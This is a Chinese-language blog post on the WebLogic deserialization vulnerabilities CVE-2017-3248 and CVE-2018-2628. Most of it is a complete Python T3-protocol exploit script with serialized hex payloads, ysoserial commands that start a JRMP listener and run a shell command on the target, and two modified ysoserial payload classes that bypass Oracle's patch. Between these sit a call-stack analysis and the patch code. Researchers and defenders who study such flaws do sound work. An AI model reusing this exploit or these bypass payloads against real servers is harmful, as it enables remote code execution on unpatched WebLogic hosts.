weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
阿新 • • 發佈：2021-08-23
CVE-2017-3248 & CVE-2018-2628
後面的漏洞就是2017-3248的繞過而已，所以poc都一樣，只是使用的payload不同
本機開啟JRMP服務端 -》利用T3協議傳送payload使得weblogic反序列化後，開啟JRMP客戶端，並連線服務端 -》服務端傳送exp給客戶端，客戶端上的DGC接收到響應即會反序列化。
詳細的細節看我的另一篇文章：ysoserial payloads-JRMPClient
漏洞復現
使用ysoserial開啟一個JRMP服務端監聽：
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"
利用T3協議傳送payload/JRMPClient：
python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient
POC:
from __future__ import print_function import binascii import os import socket import sys import time def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client): #generates ysoserial payload command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port) print("command: " + command) os.system(command) bin_file = open('payload.out','rb').read() return binascii.hexlify(bin_file) def t3_handshake(sock, server_addr): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) time.sleep(1) sock.recv(1024) print('handshake successful') def build_t3_request_object(sock, port): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(d.decode('hex')) time.sleep(2) print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) def send_payload_objdata(sock, data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) sock.send(payload.decode('hex')) time.sleep(2) sock.send(payload.decode('hex')) res = '' try: while True: res += sock.recv(4096) time.sleep(0.1) except Exception: pass return res def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(65) server_addr = (dip, dport) t3_handshake(sock, server_addr) build_t3_request_object(sock, dport) payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) print("payload: " + payload) rs=send_payload_objdata(sock, payload) print('response: ' + rs) print('exploit completed!') if __name__=="__main__": #check for args, print usage if incorrect if len(sys.argv) != 7: print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ' '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n') sys.exit() dip = sys.argv[1] dport = int(sys.argv[2]) path_ysoserial = sys.argv[3] jrmp_listener_ip = sys.argv[4] jrmp_listener_port = sys.argv[5] jrmp_client = sys.argv[6] exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
漏洞分析
傳送構造的proxy物件給weblogic，反序列化時候呼叫到其InvocationHandler的readObject方法，而這裡的InvocationHandler則是RemoteObjectInvocationHandler
RemoteObjectInvocationHandler的readObject方法是呼叫其父類RemoteObject的readObject方法
RemoteObject#readObject中呼叫了UnicastRef#readExternal
跟進LiveRef.read
呼叫了DGCClient#registerRefs，這方法裡面，產生了與JRMP服務端的互動
1.開啟通訊
在DGCClient#registerRefs中，有個do...while，如圖第47行就是開啟與JRMPListener的Socket通訊
2.觸發反序列化
同樣在在DGCClient#registerRefs的do...whlie中，第48行就是處理服務端過來的請求，造成了反序列化
跟進DGCClient#registerRefs，在最後呼叫了DGCClient$EndpointEntry的makeDirtyCall方法
跟進makeDirtyCall方法，到205行，呼叫了DGCImpl_Stub#dirty
跟進DGCImpl_Stub#dirty（這裡有個問題，這個DGCImpl_Stub其實是動態生成的類，無法除錯，所以只能進原始碼直接看）
newCall是和 JRMPListener建立連線，write寫入序列化資料，invoke用來處理服務端的資料，最後readObject來反序列化（前提是傳過來的資料不是一個異常類）
然後就到了AnnotationInvocationHandler#readObject中，以下是呼叫棧
readObject:313, AnnotationInvocationHandler {sun.reflect.annotation}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
executeCall:225, StreamRemoteCall {sun.rmi.transport}
invoke:359, UnicastRef {sun.rmi.server}
dirty:-1, DGCImpl_Stub {sun.rmi.transport}
makeDirtyCall:342, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:285, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:121, DGCClient {sun.rmi.transport}
read:294, LiveRef {sun.rmi.transport}
readExternal:473, UnicastRef {sun.rmi.server}
readObject:438, RemoteObject {java.rmi.server}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
readObject:66, InboundMsgAbbrev {weblogic.rjvm}
read:38, InboundMsgAbbrev {weblogic.rjvm}
readMsgAbbrevs:283, MsgAbbrevJVMConnection {weblogic.rjvm}
init:213, MsgAbbrevInputStream {weblogic.rjvm}
dispatch:498, MsgAbbrevJVMConnection {weblogic.rjvm}
dispatch:330, MuxableSocketT3 {weblogic.rjvm.t3}
dispatch:387, BaseAbstractMuxableSocket {weblogic.socket}
readReadySocketOnce:967, SocketMuxer {weblogic.socket}
readReadySocket:899, SocketMuxer {weblogic.socket}
processSockets:130, PosixSocketMuxer {weblogic.socket}
run:29, SocketReaderRequest {weblogic.socket}
execute:42, SocketReaderRequest {weblogic.socket}
execute:145, ExecuteThread {weblogic.kernel}
run:117, ExecuteThread {weblogic.kernel}
CVE-2018-2628
漏洞復現
復現步驟和上個漏洞一樣
使用ysoserial開啟一個JRMP服務端監聽：
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"
這裡使用了修改後的ysoserial，利用java.rmi.activation.Activator類來繞過補丁，兩種繞過方式看下面的分析
python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient2
POC的python指令碼和上一個漏洞是一樣的，這裡就不貼出來了
補丁分析
一般反序列操作防禦resolveProxyClass和resolveClass方法重寫，進行黑名單匹配，這個補丁就是重寫了resolveProxyClass，對 RMI 介面型別進行了判斷，判斷 RMI 介面是否為java.rmi.registry.Registry，是的話丟擲錯誤。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
繞過方式兩種：
1.取消代理proxy
取消代理proxy，不走resolveProxyClass，而去走resolveClass就可以繞過
在ysoserial攻擊修改如下程式碼把Proxy去掉，重新打jar包，利用方式和CVE-2017-3248一樣，能夠繞過resolveProxyClass執行命令
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
2.尋找Registry的替代類
廖新喜的方式，java.rmi.activation.Activator來替代java.rmi.registry.Registry生成payload
package ysoserial.payloads;
import java.lang.reflect.Proxy;
//import java.rmi.registry.Registry;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author avfisher
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}